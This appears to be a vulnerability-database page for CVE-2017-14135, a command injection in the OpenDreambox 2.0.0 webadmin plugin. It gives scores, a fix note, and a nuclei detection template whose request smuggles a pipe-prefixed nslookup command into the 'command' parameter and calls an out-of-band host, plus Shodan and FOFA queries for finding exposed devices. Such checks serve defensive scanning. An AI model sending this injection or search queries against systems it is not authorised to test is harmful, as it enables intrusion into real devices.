HexBrain

Browse / CVEs / CVE-2017-14135

CVE-2017-14135· dreambox / opendreambox· CWE-78

OpenDreambox 2.0.0 - Remote Code Execution

criticalseverity
9.8CVSS score
21.8%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Apply the latest security patches or upgrade to a patched version of OpenDreambox.

How to confirm it

Send: GET /webadmin/script?command=|%20nslookup%20{{interactsh-url}}
Positive when: contains "/bin/sh" and "/usr/script" AND contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2017-14135 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-14135

info:
  name: OpenDreambox 2.0.0 - Remote Code Execution
  author: alph4byt3
  severity: critical
  description: OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of OpenDreambox.
  reference:
    - https://the-infosec.com/2017/05/12/from-shodan-to-rce-opendreambox-2-0-0-code-execution/
    - https://www.exploit-db.com/exploits/42293
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14135
    - https://the-infosec.com/2017/07/05/from-shodan-to-rce-opendreambox-2-0-0-code-execution/
    - https://github.com/qazbnm456/awesome-cve-poc
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-14135
    cwe-id: CWE-78
    epss-score: 0.21842
    epss-percentile: 0.97663
    cpe: cpe:2.3:a:dreambox:opendreambox:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dreambox
    product: opendreambox
    shodan-query:
      - title:"Dreambox WebControl"
      - http.title:"dreambox webcontrol"
    fofa-query: title="dreambox webcontrol"
    google-query: intitle:"dreambox webcontrol"
  tags: cve,cve2017,dreambox,rce,oast,edb,vkev,vuln

http:
  - raw:
      - |
        GET /webadmin/script?command=|%20nslookup%20{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/bin/sh"
          - "/usr/script"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from